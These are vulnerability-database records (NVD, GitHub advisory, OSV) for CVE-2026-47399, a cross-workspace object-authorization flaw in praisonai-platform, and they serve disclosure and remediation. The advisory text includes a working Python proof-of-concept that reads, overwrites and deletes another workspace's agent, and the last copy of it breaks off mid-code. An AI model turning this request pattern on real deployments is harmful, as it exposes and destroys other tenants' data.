{
  "affected": [
    {
      "affectedData": [
        {
          "product": "praisonai-platform",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.1.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI Platform is the platform layer for the PraisonAI multi-agent teams system. Prior to version 0.1.4, the workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID. The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL. As a result, a valid member of `workspace_attacker` can call a route under `/api/v1/workspaces/{workspace_attacker}/...` while supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID. This breaks the platform\u0027s workspace isolation boundary. PraisonAI Platform version 0.1.4 patches the issue."
    },
    {
      "lang": "es",
      "value": "La Plataforma PraisonAI es la capa de plataforma para el sistema de equipos multiagente de PraisonAI. Antes de la versi\u00f3n 0.1.4, las rutas REST con \u00e1mbito de espacio de trabajo contienen una falla sist\u00e9mica de autorizaci\u00f3n a nivel de objeto que permite a un usuario autenticado de un espacio de trabajo acceder, modificar y eliminar objetos pertenecientes a otro espacio de trabajo al proporcionar el UUID global del objeto v\u00edctima. El patr\u00f3n afectado aparece en rutas con \u00e1mbito de espacio de trabajo como agentes, proyectos, incidencias y comentarios. La capa de rutas verifica que el llamador es miembro del \u2019workspace_id\u2019 proporcionado en la URL, pero la capa de servicio luego resuelve el objeto objetivo solo por ID de objeto global. No verifica que el objeto resuelto realmente pertenece al espacio de trabajo en la URL. Como resultado, un miembro v\u00e1lido de \u2019workspace_attacker\u2019 puede llamar a una ruta bajo \u2019/api/v1/workspaces/{workspace_attacker}/...\u2019 mientras proporciona un UUID de objeto de \u2019workspace_victim\u2019. El servidor autoriza la solicitud bas\u00e1ndose en la membres\u00eda en \u2019workspace_attacker\u2019, luego obtiene o muta el objeto v\u00edctima por UUID global. Esto rompe el l\u00edmite de aislamiento de espacio de trabajo de la plataforma. La Plataforma PraisonAI versi\u00f3n 0.1.4 corrige el problema."
    }
  ],
  "id": "CVE-2026-47399",
  "lastModified": "2026-10-24T19:10:00.127",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47399",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-22T14:36:05.907729Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-21T17:17:08.950",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/24385d64876577620f749957bd4814f162f4ca47"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/pull/1686"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        },
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:35:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPraisonAI Platform\u0027s workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID.\n\nThe affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.\n\nAs a result, a valid member of `workspace_attacker` can call a route under:\n\n```text\n/api/v1/workspaces/{workspace_attacker}/...\n```\n\nwhile supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID.\n\nThis breaks the platform\u0027s workspace isolation boundary.\n\n### Details\n\nThe root cause is that workspace membership authorization and object ownership validation are not bound together.\n\nThe workspace dependency validates only that the caller is a member of the workspace named in the URL:\n\n```python\n# praisonai_platform/api/deps.py\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nThis confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.\n\nFor example, the agent routes are scoped under a workspace path, but object access is performed using only the raw `agent_id`:\n\n```python\n# praisonai_platform/api/routes/agents.py\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(workspace_id: str, agent_id: str, ...):\n    agent = await svc.get(agent_id)\n    return AgentResponse.model_validate(agent)\n```\n\nThe service method resolves the agent by global UUID only:\n\n```python\n# praisonai_platform/services/agent_service.py\nasync def get(self, agent_id: str) -\u003e Optional[Agent]:\n    return await self._session.get(Agent, agent_id)\n```\n\nThe same pattern is used for update and delete operations:\n\n```python\n# praisonai_platform/api/routes/agents.py\nagent = await svc.update(agent_id, ...)\n\ndeleted = await svc.delete(agent_id)\n```\n\n```python\n# praisonai_platform/services/agent_service.py\nagent = await self.get(agent_id)\n...\nawait self._session.delete(agent)\n```\n\nThere is no check equivalent to:\n\n```python\nagent.workspace_id == workspace_id\n```\n\nTherefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.\n\nThe same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:\n\n```python\n# praisonai_platform/api/routes/projects.py\nproject = await svc.get(project_id)\nproject = await svc.update(project_id, ...)\ndeleted = await svc.delete(project_id)\n```\n\n```python\n# praisonai_platform/services/project_service.py\nreturn await self._session.get(Project, project_id)\n```\n\n```python\n# praisonai_platform/api/routes/issues.py\nissue = await svc.get(issue_id)\nissue = await svc.update(issue_id, ...)\ndeleted = await svc.delete(issue_id)\ncomments = await svc.list_for_issue(issue_id)\n```\n\n```python\n# praisonai_platform/services/issue_service.py\nreturn await self._session.get(Issue, issue_id)\n```\n\n```python\n# praisonai_platform/services/comment_service.py\nselect(Comment).where(Comment.issue_id == issue_id)\n```\n\nThis indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.\n\n### PoC\n\nThe following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.\n\nThe PoC demonstrates the following chain:\n\n1. An attacker account creates `workspace_attacker`.\n2. A victim account creates `workspace_victim`.\n3. The victim creates an agent in `workspace_victim`.\n4. The attacker sends:\n\n```text\nGET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}\n```\n\n5. The server returns the victim agent from `workspace_victim`.\n6. The attacker updates the victim agent through the attacker workspace path.\n7. The victim observes the attacker-controlled modification.\n8. The attacker deletes the victim agent through the attacker workspace path.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/agents.py\": [\n            \u0027@router.get(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.get(agent_id)\",\n            \u0027@router.patch(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.update(\",\n            \u0027@router.delete(\"/{agent_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \"deleted = await svc.delete(agent_id)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/agent_service.py\": [\n            \"return await self._session.get(Agent, agent_id)\",\n            \"agent = await self.get(agent_id)\",\n            \"await self._session.delete(agent)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        attacker = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"attacker_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"attacker_{suffix}\",\n            },\n        )\n\n        victim = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"victim_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"victim_{suffix}\",\n            },\n        )\n\n        attacker_json = attacker.json()\n        victim_json = victim.json()\n\n        attacker_headers = {\"Authorization\": f\"Bearer {attacker_json[\u0027token\u0027]}\"}\n        victim_headers = {\"Authorization\": f\"Bearer {victim_json[\u0027token\u0027]}\"}\n\n        attacker_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"attacker-ws-{suffix}\",\n                \"slug\": f\"attacker-ws-{suffix}\",\n                \"description\": \"attacker workspace\",\n            },\n            headers=attacker_headers,\n        )\n\n        victim_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"victim-ws-{suffix}\",\n                \"slug\": f\"victim-ws-{suffix}\",\n                \"description\": \"victim workspace\",\n            },\n            headers=victim_headers,\n        )\n\n        attacker_workspace_id = attacker_ws.json()[\"id\"]\n        victim_workspace_id = victim_ws.json()[\"id\"]\n\n        victim_agent = await client.post(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/\",\n            json={\n                \"name\": \"victim-agent\",\n                \"runtime_mode\": \"local\",\n                \"instructions\": \"secret instructions\",\n            },\n            headers=victim_headers,\n        )\n\n        victim_agent_id = victim_agent.json()[\"id\"]\n\n        attacker_read = await client.get(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        attacker_update = await client.patch(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            json={\"instructions\": \"pwned-by-attacker\"},\n            headers=attacker_headers,\n        )\n\n        victim_read_after_update = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        attacker_delete = await client.delete(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        victim_read_after_delete = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        print(f\"[poc] attacker_workspace={attacker_workspace_id}\")\n        print(f\"[poc] victim_workspace={victim_workspace_id}\")\n        print(f\"[poc] victim_agent_id={victim_agent_id}\")\n        print(\n            \"[poc] attacker_read_status=\"\n            f\"{attacker_read.status_code} \"\n            f\"workspace_id={attacker_read.json().get(\u0027workspace_id\u0027)} \"\n            f\"instructions={attacker_read.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] attacker_update_status=\"\n            f\"{attacker_update.status_code} \"\n            f\"instructions={attacker_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(\n            \"[poc] victim_read_after_update_status=\"\n            f\"{victim_read_after_update.status_code} \"\n            f\"instructions={victim_read_after_update.json().get(\u0027instructions\u0027)}\"\n        )\n        print(f\"[poc] attacker_delete_status={attacker_delete.status_code}\")\n        print(f\"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}\")\n\n        if attacker_read.status_code != 200:\n            raise SystemExit(\"[poc] MISS: attacker could not read victim agent\")\n\n        if attacker_read.json().get(\"workspace_id\") != victim_workspace_id:\n            raise SystemExit(\"[poc] MISS: read response was not the victim workspace agent\")\n\n        if attacker_update.status_code != 200 or attacker_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: attacker could not update victim agent\")\n\n        if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get(\"instructions\") != \"pwned-by-attacker\":\n            raise SystemExit(\"[poc] MISS: victim did not observe attacker-controlled update\")\n\n        if attacker_delete.status_code != 204:\n            raise SystemExit(\"[poc] MISS: attacker could not delete victim agent\")\n\n        if victim_read_after_delete.status_code != 404:\n            raise SystemExit(\"[poc] MISS: victim agent still existed after attacker delete\")\n\n        print(\"[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\")\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(asyncio.run(main()))\n```\n\nObserved result:\n\n```text\n[poc] attacker_workspace=3f7c...\n[poc] victim_workspace=be1d...\n[poc] victim_agent_id=7f04...\n[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions\n[poc] attacker_update_status=200 instructions=pwned-by-attacker\n[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker\n[poc] attacker_delete_status=204\n[poc] victim_read_after_delete_status=404\n[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent\n```\n\nThis confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object\u0027s UUID through the attacker\u0027s own workspace-scoped route.\n\n### Impact\n\nAny authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:\n\n- read other workspaces\u0027 agents;\n- read agent instructions and metadata;\n- modify victim agents;\n- delete victim agents;\n- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;\n- enumerate comments for issues by raw `issue_id`;\n- corrupt activity data, project state, and issue state across workspace boundaries.\n\nThis breaks the platform\u0027s tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.\n\nThe demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Require every object fetch, update, and delete method to take both `workspace_id` and `object_id`.\n\n2. Enforce object ownership in the service layer. For example:\n\n```python\nagent = await self._session.get(Agent, agent_id)\nif not agent or agent.workspace_id != workspace_id:\n    return None\n```\n\n3. Avoid service methods that resolve workspace-owned objects by global UUID alone.\n\n4. Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.\n\n5. For comment and dependency helpers that pivot from raw `issue_id`, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.\n\n6. Add regression tests for negative cross-workspace access cases, including:\n\n```text\nworkspace A member cannot read workspace B object\nworkspace A member cannot update workspace B object\nworkspace A member cannot delete workspace B object\nworkspace A member cannot list comments for workspace B issue\n```\n\n7. Return `404 Not Found` or `403 Forbidden` consistently when an object does not belong to the authorized workspace.\n\n### Security boundary\n\nThis report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.",
  "id": "GHSA-6h6v-6m7w-7vxx",
  "modified": "2026-05-29T22:35:13Z",
  "published": "2026-05-29T22:35:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform",
        "purl": "pkg:pypi/praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.1.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47399",
    "GHSA-6h6v-6m7w-7vxx"
  ],
  "details": "### Summary\n\nPraisonAI Platform\u0027s workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID.\n\nThe affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.\n\nAs a result, a valid member of `workspace_attacker` can call a route under:\n\n```text\n/api/v1/workspaces/{workspace_attacker}/...\n```\n\nwhile supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID.\n\nThis breaks the platform\u0027s workspace isolation boundary.\n\n### Details\n\nThe root cause is that workspace membership authorization and object ownership validation are not bound together.\n\nThe workspace dependency validates only that the caller is a member of the workspace named in the URL:\n\n```python\n# praisonai_platform/api/deps.py\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    member_svc = MemberService(session)\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nThis confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.\n\nFor example, the agent routes are scoped under a workspace path, but object access is performed using only the raw `agent_id`:\n\n```python\n# praisonai_platform/api/routes/agents.py\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(workspace_id: str, agent_id: str, ...):\n    agent = await svc.get(agent_id)\n    return AgentResponse.model_validate(agent)\n```\n\nThe service method resolves the agent by global UUID only:\n\n```python\n# praisonai_platform/services/agent_service.py\nasync def get(self, agent_id: str) -\u003e Optional[Agent]:\n    return await self._session.get(Agent, agent_id)\n```\n\nThe same pattern is used for update and delete operations:\n\n```python\n# praisonai_platform/api/routes/agents.py\nagent = await svc.update(agent_id, ...)\n\ndeleted = await svc.delete(agent_id)\n```\n\n```python\n# praisonai_platform/services/agent_service.py\nagent = await self.get(agent_id)\n...\nawait self._session.delete(agent)\n```\n\nThere is no check equivalent to:\n\n```python\nagent.workspace_id == workspace_id\n```\n\nTherefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.\n\nThe same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:\n\n```python\n# praisonai_platform/api/routes/projects.py\nproject = await svc.get(project_id)\nproject = await svc.update(project_id, ...)\ndeleted = await svc.delete(project_id)\n```\n\n```python\n# praisonai_platform/services/project_service.py\nreturn await self._session.get(Project, project_id)\n```\n\n```python\n# praisonai_platform/api/routes/issues.py\nissue = await svc.get(issue_id)\nissue = await svc.update(issue_id, ...)\ndeleted = await svc.delete(issue_id)\ncomments = await svc.list_for_issue(issue_id)\n```\n\n```python\n# praisonai_platform/services/issue_service.py\nreturn await self._session.get(Issue, issue_id)\n```\n\n```python\n# praisonai_platform/services/comment_service.py\nselect(Comment).where(Comment.issue_id == issue_id)\n```\n\nThis indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.\n\n### PoC\n\nThe following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.\n\nThe PoC demonstrates the following chain:\n\n1. An attacker account creates `workspace_attacker`.\n2. A victim account creates `workspace_victim`.\n3. The victim creates an agent in `workspace_victim`.\n4. The attacker sends:\n\n```text\nGET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}\n```\n\n5. The server returns the victim agent from `workspace_victim`.\n6. The attacker updates the victim agent through the attacker workspace path.\n7. The victim observes the attacker-controlled modification.\n8. The attacker deletes the victim agent through the attacker workspace path.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/agents.py\": [\n            \u0027@router.get(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.get(agent_id)\",\n            \u0027@router.patch(\"/{agent_id}\", response_model=AgentResponse)\u0027,\n            \"agent = await svc.update(\",\n            \u0027@router.delete(\"/{agent_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \"deleted = await svc.delete(agent_id)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/agent_service.py\": [\n            \"return await self._session.get(Agent, agent_id)\",\n            \"agent = await self.get(agent_id)\",\n            \"await self._session.delete(agent)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        attacker = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"attacker_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"attacker_{suffix}\",\n            },\n        )\n\n        victim = await client.post(\n            \"/api/v1/auth/register\",\n            json={\n                \"email\": f\"victim_{suffix}@example.com\",\n                \"password\": password,\n                \"name\": f\"victim_{suffix}\",\n            },\n        )\n\n        attacker_json = attacker.json()\n        victim_json = victim.json()\n\n        attacker_headers = {\"Authorization\": f\"Bearer {attacker_json[\u0027token\u0027]}\"}\n        victim_headers = {\"Authorization\": f\"Bearer {victim_json[\u0027token\u0027]}\"}\n\n        attacker_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"attacker-ws-{suffix}\",\n                \"slug\": f\"attacker-ws-{suffix}\",\n                \"description\": \"attacker workspace\",\n            },\n            headers=attacker_headers,\n        )\n\n        victim_ws = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\n                \"name\": f\"victim-ws-{suffix}\",\n                \"slug\": f\"victim-ws-{suffix}\",\n                \"description\": \"victim workspace\",\n            },\n            headers=victim_headers,\n        )\n\n        attacker_workspace_id = attacker_ws.json()[\"id\"]\n        victim_workspace_id = victim_ws.json()[\"id\"]\n\n        victim_agent = await client.post(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/\",\n            json={\n                \"name\": \"victim-agent\",\n                \"runtime_mode\": \"local\",\n                \"instructions\": \"secret instructions\",\n            },\n            headers=victim_headers,\n        )\n\n        victim_agent_id = victim_agent.json()[\"id\"]\n\n        attacker_read = await client.get(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        attacker_update = await client.patch(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            json={\"instructions\": \"pwned-by-attacker\"},\n            headers=attacker_headers,\n        )\n\n        victim_read_after_update = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        attacker_delete = await client.delete(\n            f\"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}\",\n            headers=attacker_headers,\n        )\n\n        victim_read_after_delete = await client.get(\n            f\"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}\",\n            headers=victim_headers,\n        )\n\n        print(f\"[poc] attacker_workspace={attacker_workspace_id}\")\n        print(f\"[poc] victim_workspace={victim_workspace_id}\")\n        print(f\"[poc] victim_agent_id={victim_agent_id}\")\n        print(\n            \"[poc] attacker_read_status=\"\n            f\"{attacker_read.status_code} \"\n            f\"workspace_id={attacker_read.json().get(\u0027workspace_id\u0027)} \"\n    